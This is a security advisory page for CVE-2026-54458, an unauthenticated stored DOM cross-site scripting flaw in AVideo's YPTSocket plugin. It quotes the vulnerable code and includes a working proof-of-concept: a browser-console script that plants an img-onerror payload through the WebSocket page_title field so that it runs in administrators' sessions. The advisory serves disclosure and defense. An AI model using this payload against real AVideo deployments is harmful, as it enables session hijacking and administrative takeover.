CVE-2026-54458: WWBN AVideo Cross-Site Scripting Vulnerability

CRITICAL
Advisory Identifier: GHSA-8whc-2wmv-ww35
CVSS 9.6
CWE-79
Published
Advisory Summary

CVE-2026-54458 is a CRITICAL (CVSS 9.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting WWBN AVideo libraries in the Packagist ecosystem. The issue involves unauthenticated stored dom cross-site scripting via per-client metadata broadcast in yptsocket plugin. Remediation is available in the latest vendor maintenance releases.

CVE-2026-54458 at a Glance

CVE Identifier CVE-2026-54458
GHSA Identifier GHSA-8whc-2wmv-ww35
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product WWBN AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-54458

To remediate this vulnerability, upgrade all affected WWBN AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

WWBN/AVideo fixed: Latest secure release
Upgrade WWBN/AVideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for WWBN/AVideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54458, inspect your project dependencies for WWBN AVideo:

inspect dependencies for WWBN/AVideo

Analyze the terminal output to locate any version of WWBN AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In WWBN AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Unauthenticated Stored DOM XSS via `page_title` Broadcast in AVideo YPTSocket Plugin ## Summary A stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin lets any unauthenticated remote attacker execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. `plugin/YPTSocket/getWebSocket.json.php` issues a signed WebSocket token to any anonymous caller, and `MessageSQLiteV2::onOpen` at `plugin/YPTSocket/MessageSQLiteV2.php` lines 91 and 110 reads the attacker-controlled `webSocketSelfURI` and `page_title` query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite `connections` table and broadcast inside the `users_id_online` array sent to every connected client; on the client, `plugin/YPTSocket/script.js::updateSocketUserCard` interpolates the broadcast `page_title` into an HTML template literal that is passed to jQuery `$.append(html)`, which parses attacker bytes into live DOM nodes including `<img>` with inline event handlers. ## Details `plugin/YPTSocket/getWebSocket.json.php` issues a WebSocket token to any caller; the only gate is `AVideoPlugin::isEnabledByName("YPTSocket")`. The token-issuance helper `getEncryptedInfo()` at `plugin/YPTSocket/functions.php:21-24` writes `$_REQUEST['webSocketSelfURI']` directly into the per-token state without validation: ```php // plugin/YPTSocket/functions.php:21-24 if (!empty($_REQUEST['webSocketSelfURI'])) { $msgObj->selfURI = $_REQUEST['webSocketSelfURI']; } else { $msgObj->selfURI = getSelfURI(); } ``` On WebSocket open, `MessageSQLiteV2::onOpen` reads `webSocketSelfURI` and `page_title` from the connection URL query string and persists both verbatim into the in-memory SQLite `connections` table: ```php // plugin/YPTSocket/MessageSQLiteV2.php:91 and :110 $client['selfURI'] = $wsocketGetVars['webSocketSelfURI']; // line 91 $client['page_title'] = @utf8_encode(@$wsocketGetVars['page_title']); // line 110 ``` `utf8_encode` is not an HTML encode. The broadcast helper `dbGetUniqueUsers()` (`plugin/YPTSocket/db.php:288-300`) selects both columns without escape and returns them as part of `users_id_online`, which `msgToResourceId()` at `MessageSQLiteV2.php:444` places in the outbound JSON frame sent to every connected client. JSON encoding escapes `"` to `\"` for transport, but the receiving browser's `JSON.parse(event.data)` reverses the escape and restores the raw HTML bytes before they reach `script.js`. On the client, `plugin/YPTSocket/script.js::updateSocketUserCard` (lines 638 to 700) interpolates the broadcast `page_title` into an HTML template literal and passes the result to jQuery `$.append(html)`: ```js // plugin/YPTSocket/script.js:685-691 if (userData.page_title) textParts.push(userData.page_title); const finalText = textParts.join(' '); const html = `<a href="${selfURI}" target="_blank" ...> <i class="far fa-compass"></i> ${finalText} </a>`; $(`#${socketUserDivID} .socketUserPages`).append(html); // sink ``` jQuery's `.append(html)` parses the string with the browser HTML parser, building live DOM nodes for any tag the attacker supplied, including `<img>` with inline event handlers. The browser's load attempt on the attacker-supplied `src` fails and the inline `onerror` event handler fires synchronously inside the admin's authenticated origin. The victim precondition is that the YPTSocket online-users debug panel (`#socketUsersURI`) is rendered in the admin's DOM. `plugin/YPTSocket/footer.php:12` renders the panel when `User::isAdmin() && !empty($obj->debugSocket)`. The `debugSocket` plugin flag is `true` by default after enable, so any admin viewing any logged-in AVideo page with the standard YPTSocket footer holds a live broadcast subscription. **Affected product:** AVideo (WWBN), YPTSocket plugin **Tested version:** master branch (snapshot dated 2026-05-22) ## PoC The AVideo deployment must have the YPTSocket plugin enabled (the default after enable) with `debugSocket=true` (the default), and at least one administrator must currently be viewing a page that loads the YPTSocket footer (any logged-in AVideo page does). The attacker requires only network reachability to `getWebSocket.json.php` over HTTPS and to the WebSocket TLS port. Open DevTools Console on any browser tab pointed at the AVideo origin and paste the following one-liner. No authentication and no session cookie are required for the attacker side: ```js (async () => { const PAYLOAD = '<img src=q onerror="document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)">'; const r = await fetch('/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1')); const j = await r.json(); const u = j.webSocketURL + '&webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1') + '&page_title=' + encodeURIComponent(PAYLOAD); const ws = new WebSocket(u); ws.onopen = () => console.log('attacker connected'); ws.onmessage = e => console.log('attacker frame:', e.data.slice(0, 200)); })(); ``` The payload uses `String.fromCharCode` to spell its side-effect strings (`String.fromCharCode(114,101,100)` decodes to `red`; `String.fromCharCode(80,87,78,69,68)` decodes to `PWNED`) so no quote, backtick, or backslash bytes appear in transit. Within one server broadcast cycle, every administrator tab currently rendering the YPTSocket debug panel turns its page background red and changes its browser tab title to `PWNED`. Both side-effects are produced by attacker JavaScript executing inside the admin's authenticated AVideo origin. ## Impact This is a stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin. An unauthenticated remote attacker who can reach the YPTSocket endpoints plants the payload by issuing one anonymous HTTP GET to `getWebSocket.json.php` followed by one anonymous WebSocket frame carrying the malicious `page_title`. The attacker JavaScript executes inside the admin's authenticated AVideo origin and can read non-`HttpOnly` cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session.

CVE-2026-54458 Affected WWBN AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
WWBN/AVideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-54458?
CVE-2026-54458 is a security vulnerability in WWBN AVideo involving Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which WWBN AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: WWBN/AVideo.
What version fixes CVE-2026-54458?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is WWBN/AVideo affected?
Yes, WWBN/AVideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54458?
CVE-2026-54458 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-54458?
CVE-2026-54458 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-54458?
Run the dependency tree command: 'inspect dependencies for WWBN/AVideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8whc-2wmv-ww35",
  "modified" : "2026-06-22T14:36:02Z",
  "published" : "2026-06-04T18:57:50Z",
  "aliases" : [ "CVE-2026-54458" ],
  "summary" : "WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin",
  "details" : "# Unauthenticated Stored DOM XSS via `page_title` Broadcast in AVideo YPTSocket Plugin\n\n## Summary\n\nA stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin lets any unauthenticated remote attacker execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. `plugin/YPTSocket/getWebSocket.json.php` issues a signed WebSocket token to any anonymous caller, and `MessageSQLiteV2::onOpen` at `plugin/YPTSocket/MessageSQLiteV2.php` lines 91 and 110 reads the attacker-controlled `webSocketSelfURI` and `page_title` query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite `connections` table and broadcast inside the `users_id_online` array sent to every connected client; on the client, `plugin/YPTSocket/script.js::updateSocketUserCard` interpolates the broadcast `page_title` into an HTML template literal that is passed to jQuery `$.append(html)`, which parses attacker bytes into live DOM nodes including `<img>` with inline event handlers.\n\n## Details\n\n`plugin/YPTSocket/getWebSocket.json.php` issues a WebSocket token to any caller; the only gate is `AVideoPlugin::isEnabledByName(\"YPTSocket\")`. The token-issuance helper `getEncryptedInfo()` at `plugin/YPTSocket/functions.php:21-24` writes `$_REQUEST['webSocketSelfURI']` directly into the per-token state without validation:\n\n```php\n// plugin/YPTSocket/functions.php:21-24\nif (!empty($_REQUEST['webSocketSelfURI'])) {\n    $msgObj->selfURI = $_REQUEST['webSocketSelfURI'];\n} else {\n    $msgObj->selfURI = getSelfURI();\n}\n```\n\nOn WebSocket open, `MessageSQLiteV2::onOpen` reads `webSocketSelfURI` and `page_title` from the connection URL query string and persists both verbatim into the in-memory SQLite `connections` table:\n\n```php\n// plugin/YPTSocket/MessageSQLiteV2.php:91 and :110\n$client['selfURI']    = $wsocketGetVars['webSocketSelfURI'];        // line 91\n$client['page_title'] = @utf8_encode(@$wsocketGetVars['page_title']); // line 110\n```\n\n`utf8_encode` is not an HTML encode. The broadcast helper `dbGetUniqueUsers()` (`plugin/YPTSocket/db.php:288-300`) selects both columns without escape and returns them as part of `users_id_online`, which `msgToResourceId()` at `MessageSQLiteV2.php:444` places in the outbound JSON frame sent to every connected client. JSON encoding escapes `\"` to `\\\"` for transport, but the receiving browser's `JSON.parse(event.data)` reverses the escape and restores the raw HTML bytes before they reach `script.js`.\n\nOn the client, `plugin/YPTSocket/script.js::updateSocketUserCard` (lines 638 to 700) interpolates the broadcast `page_title` into an HTML template literal and passes the result to jQuery `$.append(html)`:\n\n```js\n// plugin/YPTSocket/script.js:685-691\nif (userData.page_title) textParts.push(userData.page_title);\nconst finalText = textParts.join(' ');\nconst html = `<a href=\"${selfURI}\" target=\"_blank\" ...>\n                <i class=\"far fa-compass\"></i> ${finalText}\n              </a>`;\n$(`#${socketUserDivID} .socketUserPages`).append(html);  // sink\n```\n\njQuery's `.append(html)` parses the string with the browser HTML parser, building live DOM nodes for any tag the attacker supplied, including `<img>` with inline event handlers. The browser's load attempt on the attacker-supplied `src` fails and the inline `onerror` event handler fires synchronously inside the admin's authenticated origin.\n\nThe victim precondition is that the YPTSocket online-users debug panel (`#socketUsersURI`) is rendered in the admin's DOM. `plugin/YPTSocket/footer.php:12` renders the panel when `User::isAdmin() && !empty($obj->debugSocket)`. The `debugSocket` plugin flag is `true` by default after enable, so any admin viewing any logged-in AVideo page with the standard YPTSocket footer holds a live broadcast subscription.\n\n**Affected product:** AVideo (WWBN), YPTSocket plugin\n**Tested version:** master branch (snapshot dated 2026-05-22)\n\n## PoC\n\nThe AVideo deployment must have the YPTSocket plugin enabled (the default after enable) with `debugSocket=true` (the default), and at least one administrator must currently be viewing a page that loads the YPTSocket footer (any logged-in AVideo page does). The attacker requires only network reachability to `getWebSocket.json.php` over HTTPS and to the WebSocket TLS port.\n\nOpen DevTools Console on any browser tab pointed at the AVideo origin and paste the following one-liner. No authentication and no session cookie are required for the attacker side:\n\n```js\n(async () => {\n  const PAYLOAD = '<img src=q onerror=\"document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)\">';\n  const r = await fetch('/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1'));\n  const j = await r.json();\n  const u = j.webSocketURL\n          + '&webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1')\n          + '&page_title='       + encodeURIComponent(PAYLOAD);\n  const ws = new WebSocket(u);\n  ws.onopen    = () => console.log('attacker connected');\n  ws.onmessage = e => console.log('attacker frame:', e.data.slice(0, 200));\n})();\n```\n\nThe payload uses `String.fromCharCode` to spell its side-effect strings (`String.fromCharCode(114,101,100)` decodes to `red`; `String.fromCharCode(80,87,78,69,68)` decodes to `PWNED`) so no quote, backtick, or backslash bytes appear in transit. Within one server broadcast cycle, every administrator tab currently rendering the YPTSocket debug panel turns its page background red and changes its browser tab title to `PWNED`. Both side-effects are produced by attacker JavaScript executing inside the admin's authenticated AVideo origin.\n\n## Impact\n\nThis is a stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin. An unauthenticated remote attacker who can reach the YPTSocket endpoints plants the payload by issuing one anonymous HTTP GET to `getWebSocket.json.php` followed by one anonymous WebSocket frame carrying the malicious `page_title`. The attacker JavaScript executes inside the admin's authenticated AVideo origin and can read non-`HttpOnly` cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "WWBN/AVideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8whc-2wmv-ww35"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-04T18:57:50Z",
    "nvd_published_at" : null
  }
}